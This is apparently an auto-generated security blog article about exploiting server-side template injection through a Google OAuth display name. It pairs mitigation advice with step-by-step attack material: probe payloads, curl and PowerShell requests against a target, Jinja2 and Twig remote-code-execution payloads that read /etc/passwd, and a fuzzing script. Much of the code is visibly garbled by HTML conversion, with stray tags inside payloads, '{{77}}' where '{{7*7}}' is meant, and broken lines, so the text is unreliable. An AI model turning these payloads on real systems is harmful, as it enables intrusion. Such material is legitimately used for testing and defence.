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Introduction:
In a fascinating display of lateral thinking, a security researcher recently demonstrated how a Server-Side Template Injection (SSTI) vulnerability was exploited not through the traditional registration form, but by weaponizing the Google OAuth integration. By simply changing their Google profile name to a malicious payload and registering via OAuth, the researcher bypassed client-side username restrictions and triggered template execution on the server. This article breaks down the technical mechanics of this attack, provides the commands to detect and exploit SSTI, and outlines how to secure your applications against such OAuth-based injection vectors.
Learning Objectives:
- Understand how OAuth integrations can inadvertently bypass client-side input validation.
- Learn to identify and exploit Server-Side Template Injection (SSTI) vulnerabilities.
- Master the use of polyglot payloads to test various template engines.
- Implement secure coding practices for handling data passed from third-party identity providers.
You Should Know:
- The OAuth Injection Vector: Thinking Outside the Box
In the original post, the researcher found that the application filtered usernames during standard email registration, preventing the submission of special characters required for SSTI payloads (like{{77}}). However, the application allowed users to register and log in via Google OAuth. During this process, the application pulled the user’s display name directly from their Google profile and used it to create the local account. By changing their Google account name to the SSTI payload before authenticating, the researcher effectively smuggled the malicious code past the front-end filters and directly into the server-side rendering engine.
This highlights a critical security gap: Trusting third-party data implicitly. Developers often sanitize input from forms but forget that data ingested from APIs (like OAuth providers) is just as dangerous.
2. Step‑by‑Step Guide: Detecting SSTI
To replicate this finding or test your own applications, you need to identify the template engine in use. Here is a step-by-step guide using basic math operations.
Step 1: Initial Probing
Inject basic math expressions into any user-controlled field that gets reflected back. This includes display names, profile bios, or support ticket fields.
– Payload: `{{77}}`
– Payload: `${77}`
– Payload: `{{7’7′}}`
Step 2: Analyze the Response
- If the output renders as
49, the server is evaluating the expression, indicating a potential SSTI vulnerability (likely Jinja2 or Twig). - If it renders as
{{77}}, the input is properly escaped. - If you see an error, note the technology stack mentioned (e.g., “jinja2.exceptions.TemplateError”).
Step 3: Using cURL for Blind Testing (Linux)
If the reflection is not immediate, use cURL to automate the request and check for timing differences or errors.
Test for Jinja2 based SSTI with a time-based payload
curl -X POST https://target.com/update-profile \
-H "Content-Type: application/json" \
-d '{"name": "{{ config.items() }}"}'
Check for error messages in the response
curl -s https://target.com/profile?user={{77}} | grep -i "error|exception|traceback"
Step 4: Windows PowerShell Alternative
For testing APIs on Windows:
$body = @{name='{{77}}'} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/update-profile" -Method Post -Body $body -ContentType "application/json"
3. Exploitation: From SSTI to Remote Code Execution
Once SSTI is confirmed, the goal is often to escalate to Remote Code Execution (RCE). This varies by template engine. Here is how to identify and exploit common engines.
Payload Polyglot for Engine Detection:
Use this string to see which engine throws an error:
<
h2 style=”color: yellow;”>${{<%[%'"}}%\.
If the engine is Jinja2 (Python):
First, identify the class hierarchy to find OS commands.
Subclasses exploitation chain
{{''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()}}
Once you find a vulnerable class (like subprocess.Popen), execute commands:
Example: Listing /etc/passwd
{{''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()<a href="'/etc/passwd'">40</a>.read()}}
Note: The index
varies; you must enumerate subclasses to find the correct one.
<h2 style="color: yellow;">If the engine is Twig (PHP):</h2>
[bash]
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("cat /etc/passwd")}}
4. Mitigation: Hardening OAuth Integrations
To prevent this specific OAuth-based injection, implement the following security controls.
1. Validate Data from Providers:
Treat OAuth user info claims as untrusted input. Validate them against the same rules you use for registration forms.
Python (Flask) Example: Sanitize Google Name
from yourproject.utils import sanitize_username
google_name = session['user_info']['name']
if not sanitize_username(google_name):
Fallback to a generic name or force user to set a nickname manually
google_name = f"user_{secrets.token_hex(4)}"
2. Contextual Output Encoding:
When rendering user-supplied data, use the correct escaping mechanism for the template engine. In Jinja2, enable autoescaping:
app = Flask(<strong>name</strong>) app.jinja_env.autoescape = True
3. Disable Dangerous Template Features:
If using Jinja2 in a production environment, consider sandboxing.
from jinja2 import Environment, SandboxedEnvironment env = SandboxedEnvironment() This restricts access to unsafe attributes and methods.
5. Linux Command Line Enumeration for Bug Hunters
When hunting for these bugs, having a local environment to craft and test payloads is crucial. Here is how to set up a local Jinja2 environment for payload development.
Install Jinja2 via pip
pip install jinja2
Create a test Python script
cat > test_ssti.py << 'EOF'
from jinja2 import Template
Test payload
payload = "{{77}}"
template = Template("Hello " + payload)
print(template.render())
Advanced payload to test object inspection
payload2 = "{{''.<strong>class</strong>.<strong>mro</strong>}}"
template2 = Template(payload2)
print(template2.render())
EOF
Run the test
python3 test_ssti.py
6. API Security: Checking for Injection Points
Modern applications use APIs for profile updates. Here is a script to fuzz API endpoints for SSTI vulnerabilities using a wordlist of common payloads.
Bash Script (Linux):
!/bin/bash
TARGET="https://target.com/api/v1/user/profile"
TOKEN="Bearer your_jwt_token_here"
while read payload; do
echo "Testing: $payload"
curl -s -X PUT "$TARGET" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"display_name\": \"$payload\"}" | grep -E "(49|Traceback|Error|Internal Server)"
done < ssti_payloads.txt
Create `ssti_payloads.txt` with:
{{77}}
${77}
{{7'7'}}
<%= 77 %>
${{77}}
What Undercode Say:
- Key Takeaway 1: Never Trust the Identity Layer. OAuth and SSO integrations create a blind spot. Data ingested from these trusted third parties must be treated with the same suspicion as data from a public comment form.
- Key Takeaway 2: Client-Side Validation is Not Security. The researcher bypassed restrictions simply by changing where the data originated. Always implement server-side validation for every data ingestion point, including background jobs and API syncs.
- Analysis: This finding is a classic example of a “business logic” flaw meeting technical vulnerability. The developer secured the door (registration form) but left the window (OAuth profile sync) wide open. It underscores the importance of threat modeling entire user journeys, not just individual endpoints. As applications become increasingly interconnected via APIs and identity providers, the attack surface expands beyond the traditional HTTP request. Security testing must evolve to include these trust boundaries.
Prediction:
In the next 12-18 months, we will see a surge in attacks targeting the “supply chain” of identity. Attackers will move away from hacking databases and towards poisoning the data that applications ingest from trusted APIs (OAuth, CRM integrations, marketing automation). This will lead to the rise of “Identity Injection” as a primary attack vector, forcing security teams to implement “Content Security Policy” style rules for user data ingested from external providers. Expect CVEs focusing on how applications handle malformed JSON or template syntax from APIs like Google People API, LinkedIn, and GitHub.
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